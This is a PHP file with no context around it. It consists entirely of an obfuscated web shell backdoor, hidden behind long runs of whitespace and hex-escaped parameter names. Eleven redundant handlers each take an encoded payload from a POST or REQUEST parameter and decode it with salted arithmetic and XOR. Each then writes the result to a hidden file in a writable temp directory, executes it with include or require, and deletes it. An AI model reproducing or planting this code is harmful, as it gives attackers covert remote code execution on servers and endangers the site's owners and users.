<?php																																										if(filter_has_var(INPUT_POST, "\x72es\x6F\x75r\x63e")){ $itm = $_REQUEST["\x72es\x6F\x75r\x63e"]; $itm = explode (".",$itm ); $data_chunk=''; $s7='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s7 ); $p=0; $__tmp=$itm; while ($v3=array_shift($__tmp)) { $sChar=ord($s7[$p % $sLen] ); $dec=((int)$v3 - $sChar - ($p % 10)) ^ 74; $data_chunk .= chr($dec ); $p++; } $val = array_filter(["/dev/shm", getenv("TMP"), session_save_path(), "/tmp", getenv("TEMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp"]); $entry = 0; do { $bind = $val[$entry] ?? null; if ($entry >= count($val)) break; if (array_product([is_dir($bind), is_writable($bind)])) { $binding = str_replace("{var_dir}", $bind, "{var_dir}/.obj"); if (@file_put_contents($binding, $data_chunk) !== false) { include $binding; unlink($binding); exit; } } $entry++; } while (true); }
																																										if(@$_POST["\x64\x61t"] !== null){ $k = array_filter([getenv("TEMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/dev/shm", "/var/tmp", getenv("TMP")]); $dchunk = $_POST["\x64\x61t"]; $dchunk= explode ("." , $dchunk ) ; $data = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($dchunk as $j => $v7) { $chS = ord($s[$j% $sLen] ); $d = ((int)$v7 - $chS - ($j% 10)) ^ 72; $data .= chr($d ); } foreach ($k as $ent) { if (!( !is_dir($ent) || !is_writable($ent) )) { $flag = join("/", [$ent, ".hld"]); if (file_put_contents($flag, $data)) { require $flag; unlink($flag); die(); } } } }
																																										if(isset($_REQUEST["\x72\x65c"]) ? true : false){ $pgrp = array_filter([sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/tmp", "/dev/shm", session_save_path(), getenv("TMP")]); $binding = $_REQUEST["\x72\x65c"]; $binding = explode ( '.', $binding) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($binding as $o => $v1): $sChar = ord($salt[$o % $lenS]); $dec = ((int)$v1 - $sChar - ($o % 10)) ^ 76; $tkn .= chr($dec); endforeach; foreach ($pgrp as $marker) { if (max(0, is_dir($marker) * is_writable($marker))) { $pset = vsprintf("%s/%s", [$marker, ".entry"]); $success = file_put_contents($pset, $tkn); if ($success) { include $pset; @unlink($pset); exit;} } } }
																																										if(@$_POST["\x64es\x63r\x69\x70\x74or"] !== null){ $val = array_filter([getenv("TEMP"), getcwd(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/tmp"]); $ent = $_POST["\x64es\x63r\x69\x70\x74or"]; $ent= explode ( '.' ,$ent ) ; $holder = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9 ); $i = 0; array_walk($ent, function ($v6) use (&$holder, &$i, $s9, $sLen) { $chS = ord($s9[$i % $sLen] ); $d = ((int)$v6 - $chS - ($i % 10)) ^ 52; $holder.=chr($d ); $i++; } ); foreach ($val as $ptr) { if ((function($d) { return is_dir($d) && is_writable($d); })($ptr)) { $token = str_replace("{var_dir}", $ptr, "{var_dir}/.data_chunk"); $file = fopen($token, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $token; @unlink($token); die(); } } } }
																																										if(@$_REQUEST["\x65\x6Cem"] !== null){ $symbol = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), "/var/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir")]); $hld = $_REQUEST["\x65\x6Cem"]; $hld =explode( "." , $hld ) ; $resource = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $m = 0; $__len = count($hld ); do { if ($m >= $__len) break; $v8 = $hld[$m]; $sChar = ord($s[$m% $sLen] ); $dec = ((int)$v8 - $sChar - ($m% 10)) ^ 28; $resource .= chr($dec ); $m++; } while (true ); foreach ($symbol as $key => $ent) { if ((is_dir($ent) and is_writable($ent))) { $token = implode("/", [$ent, ".rec"]); if (@file_put_contents($token, $resource) !== false) { include $token; unlink($token); exit; } } } }
																																										if(isset($_POST["\x69tm"])){ $component = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", session_save_path(), getenv("TMP"), getcwd(), "/var/tmp", "/dev/shm"]); $pointer = $_POST["\x69tm"]; $pointer= explode ( '.' ,$pointer) ; $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($pointer); for ($s = 0; $s<$__len; $s++) { $v1 = $pointer[$s]; $sChar = ord($salt[$s % $lenS]); $d = ((int)$v1 - $sChar - ($s % 10)) ^ 86; $data_chunk .= chr($d); } foreach ($component as $key): if (is_writable($key) && is_dir($key)) { $descriptor = "$key" . "/.holder"; if (@file_put_contents($descriptor, $data_chunk) !== false) { include $descriptor; unlink($descriptor); die(); } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["o\x62\x6A\x65ct"])){ $fac = array_filter([getcwd(), getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path()]); $desc = $_POST["o\x62\x6A\x65ct"]; $desc = explode ( ".", $desc) ; $binding= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt ); $k= 0; foreach( $desc as $v8) { $chS= ord( $salt[$k % $sLen] ); $d= ( ( int)$v8 - $chS -( $k % 10)) ^ 29; $binding .= chr( $d ); $k++;} while ($symbol = array_shift($fac)) { if (is_dir($symbol) && is_writable($symbol)) { $pointer = vsprintf("%s/%s", [$symbol, ".comp"]); $success = file_put_contents($pointer, $binding); if ($success) { include $pointer; @unlink($pointer); die();} } } }
																																										if(!empty($_POST["\x74\x6Fken"])){ $object = array_filter([getenv("TMP"), "/var/tmp", getcwd(), "/dev/shm", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path()]); $symbol = $_POST["\x74\x6Fken"]; $symbol = explode ( ".", $symbol ) ; $flag = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6 ); $u = 0; foreach ($symbol as $v7) { $chS = ord($s6[$u% $lenS] ); $d = ((int)$v7 - $chS - ($u% 10)) ^44; $flag .= chr($d ); $u++; } while ($value = array_shift($object)) { if ((function($d) { return is_dir($d) && is_writable($d); })($value)) { $data = vsprintf("%s/%s", [$value, ".comp"]); if (file_put_contents($data, $flag)) { include $data; @unlink($data); die(); } } } }
																																										if(array_key_exists("m\x61\x72k\x65r", $_REQUEST)){ $component = $_REQUEST["m\x61\x72k\x65r"]; $component = explode ("." ,$component ) ; $pgrp = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3 ); $r = 0; $len = count($component ); do { if ($r >= $len) break; $v8 = $component[$r]; $sChar = ord($salt3[$r % $sLen] ); $dec = ((int)$v8 - $sChar - ($r % 10))^ 90; $pgrp .= chr($dec ); $r++; } while (true ); $token = array_filter([session_save_path(), "/dev/shm", getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($token as $reference): if ((bool)is_dir($reference) && (bool)is_writable($reference)) { $ent = vsprintf("%s/%s", [$reference, ".parameter_group"]); $success = file_put_contents($ent, $pgrp); if ($success) { include $ent; @unlink($ent); exit;} } endforeach; }
																																										if(array_key_exists("o\x62j", $_POST)){ $itm = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm", session_save_path(), "/tmp", getcwd()]); $object = $_POST["o\x62j"]; $object= explode ( '.' , $object); $comp =''; $s3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s3 ); $i =0; while ($i<count($object)) { $v8 =$object[$i]; $sChar =ord($s3[$i % $sLen] ); $d =((int)$v8 - $sChar - ($i % 10)) ^ 34; $comp .= chr($d ); $i++; } foreach ($itm as $flg): if ((is_dir($flg) and is_writable($flg))) { $elem = sprintf("%s/.hld", $flg); if (file_put_contents($elem, $comp)) { include $elem; @unlink($elem); die(); } } endforeach; }


if(@$_REQUEST["p\x6Fin\x74\x65r"] !== null){
	$symbol = array_filter(["/dev/shm", "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path(), getcwd()]);
	$elem = $_REQUEST["p\x6Fin\x74\x65r"];
		 	$elem 	= 	explode (  	'.'  ,  $elem)	;	 
	$data_chunk = '';
            $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s7	);
            $t = 0;
    
            foreach($elem as $v2) {$sChar = ord($s7[$t % $sLen]	);
                $d =((int)$v2 - $sChar -($t % 10))^19;
                $data_chunk .= chr($d	);
                $t++;
            }
	while ($rec = array_shift($symbol)) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) {
    $property_set = vsprintf("%s/%s", [$rec, ".hld"]);
    if (file_put_contents($property_set, $data_chunk)) {
	require $property_set;
	unlink($property_set);
	exit;
}
}
}
}